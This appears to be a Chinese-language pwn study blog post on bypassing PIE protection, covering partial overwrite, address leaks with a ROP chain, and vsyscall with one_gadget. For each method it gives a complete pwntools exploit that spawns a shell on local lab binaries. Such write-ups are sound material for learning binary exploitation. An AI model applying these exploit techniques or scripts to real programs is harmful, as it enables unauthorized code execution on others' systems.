pwn学习-pie绕过
之前学习了栈溢出常见的利用手法,有ret2text、ret2plt、ret2syscall、ret2shellcode、ret2libc、ret2csu
溢出栈迁移,这里接着学习一下常见的绕过pie
的手法
PIE
PIE(Position Independent Executables)是编译器gcc的一个功能选项fpie
,主要的功能是随机化了ELF装载的基地址,使用分页内存偏移定位到每一行指令,常见的表现形式是如果开启了PIE
保护,使用file或者readelf读取的文件类型会是LSB shared object
共享文件
这里需要注意一下,PIE
是对二进制程序做的地址随机化,而ASLR是系统层面的地址随机化,这两个放到一起,基本上是猜测不到程序的内存布局,这使得我们获取到的gadget
也是一个距离基地址的偏移,无法成功的执行。但是一般只有安全性较高的程序会使用,因为PIE相对来说比较影响程序的性能。
gcc编译时开启和关闭pie的选项:
-no-pie
: 关闭piefpie -pie
: 开启pie(默认选项)
开启了pie有一个很显著的区别,就是使用ida或者objdump分析的地址都是内存分页的偏移
下面我学习了三种绕过方法绕过,分别是Partial overwrite、泄露地址、vsyscall
绕过,具体如下
注:本实验使用的程序
链接:https://pan.baidu.com/s/1Ej36NzBWt5BouBM7ieWgoA
提取码:15br
Partial overwrite
顾名思义,就是写入部分的数据,来控制程序的执行流程,例如:程序都是使用偏移来定位指令,如果我们获取到了backdoor
后门函数的偏移,将返回地址的后三位覆盖为backdoor
的地址,从而执行backdoor
函数。
具体原理:因为程序运行起来的时候开启了pie和aslr,无法获取程序的准确地址,但是虽然前面的地址是不知道的,但是一个内存分页的大小为0x1000
,这基本上确定了,偏移地址只能在0~999
之间,一般情况下,返回地址都会在一个内存分页上,所以我们覆盖返回地址的后三位,从而执行backdoor
函数
但是我们在覆盖的时候,写入三个十六进制的情况是很少的,一个字节为8bit
,一个字节由四位十六进制组成,三位十六进制是12bit
,因为我们平常写入都是一次性写入一个字节(8bit),如果写入两个字节,就会有一个十六进制位是不确定的,这时就需要运气才能成功执行backdoor
函数,但是我们可以使用爆破的方式,多次运行程序,总有一个会成功
实操如下:
使用pie_bypass1
buf
存在栈溢出,同时找到了一个backdoor函数
接着根据上述思路构造exp
from pwn import *
# context(log_level='debug')
padding = 0x18 + 0x4
backdoor = b"\xF0" + b"\x06"
payload = b"A" * padding + backdoor
count = 1
while True:
p = process("./pie_bypass1")
try:
count += 1
print(count,end=' ')
p.recvuntil(b"Leave a message!\n")
p.send(payload)
recv = p.recv(timeout=10)
except:
print("error",end=' ')
else:
p.interactive()
break
backdoor地址可以通过ida找到,也可以使用objdump
查看
运行的到shell
泄露地址绕过
pie只会影响程序加载的基地址,如果程序中某个函数,泄露了程序在内存中的地址,我们可以将泄露的地址 - 泄露地址偏移
得到基地址,从而可以使用基地址 + 偏移
地址定位到程序中的任意位置,这个时候我们的gadget
就可以使用了,就可以使用常规的ROPchain
获取shell
例如pie_bypass1
为例,使用pwndbg
调试到read
溢出位置,找到main +32
的返回地址
使用objdump
得到该行的偏移
使用内存地址 - 偏移
的到基地址
但是通常这个地址每次都是随机的,我们需要泄露出改地址才可以进行利用,接着我们看pie_bypass2
的实操
使用ida分析
该程序输出了retaddr
就是程序返回的内存地址,拥有了泄露的该地址,我们就可以使用上述算出基地址的方法getshell
exp如何写呢?如下
from pwn import *
context(log_level='debug')
p = process("./pie_bypass2")
e = ELF("./pie_bypass2")
retaddr = int(p.recvuntil(b"what?")[1:15],16)
log.success("retaddr: " + str(hex(retaddr)))
p.recv()
base_addr = retaddr - 0x951
log.success("base_addr: " + str(hex(base_addr)))
pop_rdi = 0x00000000000009c3
pop_rsi_r15 = 0x00000000000009c1
buf = 0x202000 - 0x20
read_plt = e.sym['read']
main = e.sym['main']
ret = 0x0000000000000288
system = e.sym['system']
padding = 0x30 + 0x8
payload = b"A" * padding
payload += p64(ret + base_addr)
payload += p64(pop_rdi + base_addr)
payload += p64(0)
payload += p64(pop_rsi_r15 + base_addr)
payload += p64(buf + base_addr)
payload += p64(0)
payload += p64(read_plt + base_addr)
payload += p64(main + base_addr)
p.send(payload)
p.send(b"/bin/sh\x00")
p.recvuntil("=_=i \n")
padding = 0x30 + 0x8
payload = b"A" * padding
payload += p64(ret + base_addr)
payload += p64(pop_rdi + base_addr)
payload += p64(buf + base_addr)
payload += p64(system + base_addr)
#input("attack")
p.send(payload)
p.interactive()
运行的到shell
vsyscall
pie虽然让地址随机了,但是有一个固定的段vsyscall
是固定,其中有几个gadget
可以使用,其中有的可以将rax
设置为0,通过栈溢出,可覆盖的栈中数据,这时如果栈中有libc、栈
的内存地址,可以配合Partial overwrite
调用后门函数,或者配合ong_gadget
调用libc中的getshell代码
由于我本机的vsyscall没有r读取权限,所以这里看不到gadget
的指令
这里参考别人的图片
接着使用pie_bypass3
实验,实际操作如下:
使用ida分析
先调用了backdoor
函数,然后调用了message_board
函数
backdoor函数返回了system函数的地址 + 0x17600
的偏移,暂时没有用
buf存在咱溢出,使用pwndbg
分析
发现backdoor
函数将libc中的一个偏移地址push入栈,
溢出后发现覆盖5
行gadget
就可以使用Partial overwrite
方法覆盖后三位,尝试覆盖为ong_gadget
的getshell地址
使用ong_gadget
分析libc文件
使用system + 0x0x17600 - libc基地址
得到该指令的偏移
和one_gadget获得最后一个0x10a2fc
距离比较近,这个gadget
需要一个条件,就是rsp+0x70
的值为0
接着尝试写exp
from pwn import *
# context(log_level='debug')
vsyscall = 0xffffffffff600000
padding = 0x10 + 8
payload = b"A" * padding
payload += p64(vsyscall) * 5
payload += b"\xfc" + b"\xc2"
count = 0
while True:
try:
count += 1
print(count,end=' ')
p = process("./pie_bypass3")
p.recvuntil("Leave a message!\n")
p.send(payload)
p.recv(timeout=10)
except:
print("error")
else:
p.interactive()
break
# p = process("./pie_bypass3")
# p.recvuntil("Leave a message!\n")
# input("attack")
# p.send(payload)
# p.interactive()
运行得到shell